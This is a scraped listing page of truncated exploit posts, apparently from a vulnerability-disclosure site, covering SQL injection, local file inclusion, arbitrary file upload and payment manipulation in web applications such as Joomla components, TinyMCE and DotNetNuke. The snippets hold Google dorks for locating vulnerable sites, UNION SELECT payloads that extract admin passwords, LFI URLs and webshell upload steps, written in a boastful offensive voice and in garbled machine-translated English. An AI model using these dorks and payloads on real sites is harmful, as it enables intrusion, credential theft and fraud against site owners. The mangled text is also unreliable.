TinyMCE MCFileManager 2.1.2 Arbitrary arbitrary file upload vulnerability-vulnerability warning-the black bar safety net

TinyMCE MCFileManager 2.1.2 Arbitrary upload page, not the file name filtering leads to arbitrary file vulnerability google: inurl: /tinymce/plugins/filemanager/ Enter the upload page : http://www. myhack58. com/tinymce/plugins/filemanager/ Upload shell:...

PHP Category SQL Injection

======================================================= PHP Category categoryid SQL Injection Vulnerability ======================================================= Exploit Title: PHP Category categoryid SQL Injection Vulnerability Date: oktober 02, 2010 Author: josalijoe Category? : PHP Category...

Tycoon Record Script 1.0.9 SQL Injection

% TycoonCMS Record Script Sql vulnerability ------------------------------------------------------------------------------- 0 | | | | | | TM 1 | | | | | | 0 | / | ' \ / | ' \ / |/ | |/ / \ '| ' \ / \ | 1 / / | | | | / | | | | | | | Exploit---------------------------------- 0x1: Goto...

Caner Hikaye Script - SQL Injection

Caner Hikaye Script - SQL Injection =================================================== Caner Hikaye Scripti hikaye.asp?id= Remote Sql inj =================================================== Author : v0calist Homepage : http://v0calist.blogspot.com & www.worldhackerz.com Mail :...

Star outside the virtual host management system brush money vulnerability+injection vulnerability-vulnerability warning-the black bar safety net

Test station: http://www.. com/ Register for an account, for example: test Visit: http://www.. com/netpay/ips/ Enter your username and amount of recharge. For example: test 1 $ 0 Point the next step will be to generate you an order number. Such as 7 2 2 9 7 8 Remember it Parameter structure:...

Shopping network PHP version system SQL injection-vulnerability warning-the black bar safety net

Keywords: inurl:reading/article.php EXP: a,2,username,password,5,6,7,8,9,1 0,1 1,1 2%20from%20cadminhttp://www. xxx. com/reading/article. php? id=-1011%20union%2 0%20select%2 0 1 Note that this broke the MD5 need to pay attention, because his encrypted is very special too!! See the figure: !...

Easy room search system type injection exploit-vulnerability warning-the black bar safety net

This system is a housing transactions, rental of the system. Vulnerability file: searchsell. asp; the searchhire. asp; the searchbuy. asp conn. asp Keyword inurl: efwmanager; the inurl: the searchhire. asp; and inurl: in subhack. asp? This keyword is a bit much By Macromedia Dreamweaver the searc...

DotNetNuke Remote File upload Vulnerability

Exploit for php platform in category web applications =========================================== DotNetNuke Remote File upload Vulnerability =========================================== Prodcut: DotNetNuke Home : www.DZ4All.cOm/Cc Vunlerability : Remote File upload Risk : High Dork :...

TinyBrowser Remote File upload Vulnerability

Exploit for php platform in category web applications ============================================ TinyBrowser Remote File upload Vulnerability ============================================ TinyBrowser Remote File upload Vulnerability Prodcut: TinyBrowser Home : www.dz4all.com/cc Vunlerability :...

Lokomedia CMS - sukaCMS Local File Disclosure

Lokomedia CMS - sukaCMS Local File Disclosure Software Link: http://bukulokomedia.com Version: 2.0 Tested on: all OS + Title : Local File Disclosure Vulnerability Lokomedia CMS sukaCMS + Vendor : http://bukulokomedia.com + Discovered : vir0e5 a.k.a banditc0de + Contact : vir0e5athackermaildotcom ...

Joomla! Component com_event - Multiple Vulnerabilities

Author : altbta [email protected] Home : v4-team.com.xp10.me Script : Joomla Component comevent Bug Type : Multiple Vulnerabilities Dork : inurl:"comevent" === Exploit === LFI http://site/index.php?option=comevent&view=LFI...

Chess game site program 0DAY-vulnerability warning-the black bar safety net

Author:amxking Tap:Pepsi Accurate point should be regarded as Trojan inurl:Find. asp your location customer service center retrieve password Directly horses: http://www.XXX.com/user/situjiaduotu2.asp Word virus ,password : value http://www.XXX.com/htmledit/Include/upfileclass.asp...

Alibaba Clone Platinum - about_us.php SQL Injection

Alibaba Clone Platinum - aboutus.php SQL Injection ------------------------------------------------------------------------------------------- Alibaba Clone Platinum aboutus.php SQL Injection Vulnerability -------------------------------------------------------------------------------------------...

Days edge of the business website system through the kill 0day-vulnerability warning-the black bar safety net

Bulkwww.google.cn inurl:Products. asp? mainid=1 Their attention to looking under the backend, and then modify the action=“”, address EXp: form name="administratoradd" method="post" id="password" action="" span class="rightbody" /span table width="9 9%" border="0" align="center" cellpadding="0"...

joomlacartweberp-lfi.txt

@=======================================@ @=Script : Joomla Component comcartweberp @=Author : FL0RiX @=Greez : Deep-Power ,KaCaK,Wretch-x & All Friends @=Bug Type : Local File Inlusion @=Dork : inurl:"comcartweberp @=======================================@ @=Vuln : http://site/ Yol...

An electronic network Cms 0DAY-vulnerability warning-the black bar safety net

Night bored, come up with a Shell, flipped, found a new it. Don't know which home system, then Google a bit. Discover seems to be what is called an electronic website system. The main vulnerability is still that dynamic shopping upload, for a while it got more than a dozen Shell, including a...

Joomla! Component allvideos - Blind SQL Injection

Joomla! Component allvideos - Blind SQL Injection Exploit Title: joomla component allvideos BLIND SQL injection Vulnerability Date: 09 april 2010 Author: bumblebe Software Link: N/A Tested on: Windows XP 2 ====================================================================== x author : bumblebe...

shopxp online shopping system v7. 4 0day-vulnerability warning-the black bar safety net

Vulnerability version: shopxp online shopping system v7. 4 Keywords: inurl:shopxpnews. asp shopxpnews. asp Storm password statement: /TEXTBOX2. ASP? action=modify&news%69d=1 2 2%20and%2 0 1=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxpadmin...

Joomla! Component com_sectionex - Local File Inclusion

Joomla! Component comsectionex - Local File Inclusion .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component comsectionex .:. Bug Type : Local File Inclusion LFI .:. Dork : inurl:"comsectionex" === Exploit ===...

Joomla! Component com_janews - Local File Inclusion

.:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component comjanews .:. Bug Type : Local File Inclusion LFI .:. Dork : inurl:"comjanews" === Exploit === www.site.com/index.php?option=comjanews&controller=LFI...